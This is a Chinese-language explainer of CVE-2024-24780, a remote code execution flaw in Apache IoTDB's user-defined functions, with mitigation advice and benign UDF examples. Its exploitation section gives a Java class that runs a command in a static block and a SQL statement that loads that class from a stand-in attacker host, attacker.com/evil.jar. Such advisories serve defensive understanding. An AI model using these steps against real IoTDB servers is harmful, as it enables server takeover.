漏洞背景与基础知识介绍
Apache IoTDB 是一款开源的工业物联网时序数据库,支持用户通过**用户自定义函数(UDF)**来扩展功能。用户可以用 Java 编写自定义函数,然后注册到 IoTDB 中执行。
什么是 UDF?
-
UDF(User-defined Function) :用户自己写的函数,可以用来对数据库中的数据进行特殊处理或计算。
-
IoTDB 支持两种方式加载 UDF:
- 手动放置 JAR 包:将包含 UDF 的 Java JAR 文件放到每个节点的指定目录(如
ext/udf)。 - 通过 URI 自动下载 JAR 包:注册 UDF 时,指定一个网络地址(URI),IoTDB 会自动从该地址下载 JAR 包并同步到集群。
- 手动放置 JAR 包:将包含 UDF 的 Java JAR 文件放到每个节点的指定目录(如
漏洞原理简述
漏洞发生在第二种方式(自动下载 JAR 包):
- 攻击者如果拥有创建 UDF 的权限,可以指定一个恶意的远程 URI。
- IoTDB 会自动下载该恶意 JAR 包,并在所有节点加载执行。
- 恶意代码就这样在服务器上执行,导致远程代码执行(RCE) ,攻击者可以控制服务器。
影响版本
- 受影响版本:Apache IoTDB 1.0.0 到 1.3.4(不含1.3.4)
- 官方已在 1.3.4 版本修复该漏洞,强烈建议升级。
漏洞利用步骤示例
假设攻击者已经获得了 IoTDB 的 UDF 创建权限,利用流程如下:
-
编写恶意 Java 代码
例如,写一个类
com.attacker.EvilClass,在类的静态代码块中执行恶意命令(如启动反向Shell)。package com.attacker; public class EvilClass { static { try { Runtime.getRuntime().exec("calc"); // Windows打开计算器示例 } catch (Exception e) { e.printStackTrace(); } } } -
打包成 JAR
使用
javac编译并用jar命令打包成evil.jar。 -
上传恶意 JAR 到远程服务器
比如上传到
http://attacker.com/evil.jar,确保 IoTDB 服务器能访问。 -
在 IoTDB 中注册恶意 UDF
执行 SQL 命令:
sql CREATE FUNCTION evilFunc AS 'com.attacker.EvilClass' USING URI 'http://attacker.com/evil.jar'; -
IoTDB 自动下载并执行
IoTDB 会下载
evil.jar,加载EvilClass,执行静态代码块中的恶意命令。 -
远程代码执行成功
攻击者获得服务器控制权。
防护措施
- 升级 IoTDB 至 1.3.4 或更高版本,官方已修复该漏洞。
- 严格限制 UDF 创建权限,只允许可信用户操作。
- 避免使用不可信的 URI 注册 UDF,尤其是外部网络地址。
- 监控 UDF 注册操作日志,及时发现异常注册行为。
IoTDB 自定义函数(UDF)基础示例与说明
1. 简单的 UDF 示例代码
下面是一个简单的 UDF 示例,实现对输入整数取负数的功能:
import org.apache.iotdb.udf.api.UDTF;
import org.apache.iotdb.udf.api.access.Row;
import org.apache.iotdb.udf.api.collector.PointCollector;
import org.apache.iotdb.udf.api.customizer.config.UDTFConfigurations;
import org.apache.iotdb.udf.api.customizer.parameter.UDFParameters;
import org.apache.iotdb.udf.api.customizer.strategy.RowByRowAccessStrategy;
import org.apache.iotdb.udf.api.type.Type;
import java.io.IOException;
public class NegateFunction implements UDTF {
@Override
public void beforeStart(UDFParameters parameters, UDTFConfigurations configurations) {
// 设置访问策略为逐行访问,输出数据类型为整型
configurations.setAccessStrategy(new RowByRowAccessStrategy())
.setOutputDataType(Type.INT32);
}
@Override
public void transform(Row row, PointCollector collector) throws IOException {
if (!row.isNull(0)) {
int value = row.getInt(0);
collector.putInt(row.getTime(), -value);
}
}
}
2. 注册 UDF 的两种方式
-
方式一:手动放置 JAR 包
将编译好的 JAR 放到所有节点的
ext/udf目录下,然后执行:CREATE FUNCTION negate AS 'com.example.NegateFunction'; -
方式二:通过 URI 自动下载
将 JAR 上传到 HTTP 服务器,执行:
CREATE FUNCTION negate AS 'com.example.NegateFunction' USING URI 'http://example.com/negate.jar';IoTDB 会自动下载并同步到所有节点。
进阶示例:两个整数相加的 UDF
import org.apache.iotdb.udf.api.UDTF;
import org.apache.iotdb.udf.api.access.Row;
import org.apache.iotdb.udf.api.collector.PointCollector;
import org.apache.iotdb.udf.api.customizer.config.UDTFConfigurations;
import org.apache.iotdb.udf.api.customizer.parameter.UDFParameters;
import org.apache.iotdb.udf.api.customizer.strategy.RowByRowAccessStrategy;
import org.apache.iotdb.udf.api.type.Type;
public class Adder implements UDTF {
@Override
public void beforeStart(UDFParameters parameters, UDTFConfigurations configurations) {
configurations.setOutputDataType(Type.INT64)
.setAccessStrategy(new RowByRowAccessStrategy());
}
@Override
public void transform(Row row, PointCollector collector) throws Exception {
if (row.isNull(0) || row.isNull(1)) {
return;
}
long sum = row.getLong(0) + row.getLong(1);
collector.putLong(row.getTime(), sum);
}
}
总结
- CVE-2024-24780 漏洞核心:IoTDB 自动从不可信 URI 下载并执行 UDF JAR 包,导致远程代码执行。
- 解决办法:升级到 1.3.4 及以上版本,限制 UDF 创建权限,避免使用不可信 URI。
- 理解 UDF:是 IoTDB 扩展功能的重要方式,用户编写 Java 代码打包为 JAR,注册后由数据库调用。
- 安全建议:严格控制 UDF 权限,监控注册行为,确保只加载可信代码。
通过上述基础知识和示例代码,您可以更好地理解 IoTDB 的 UDF 机制及该漏洞的风险与防护方法。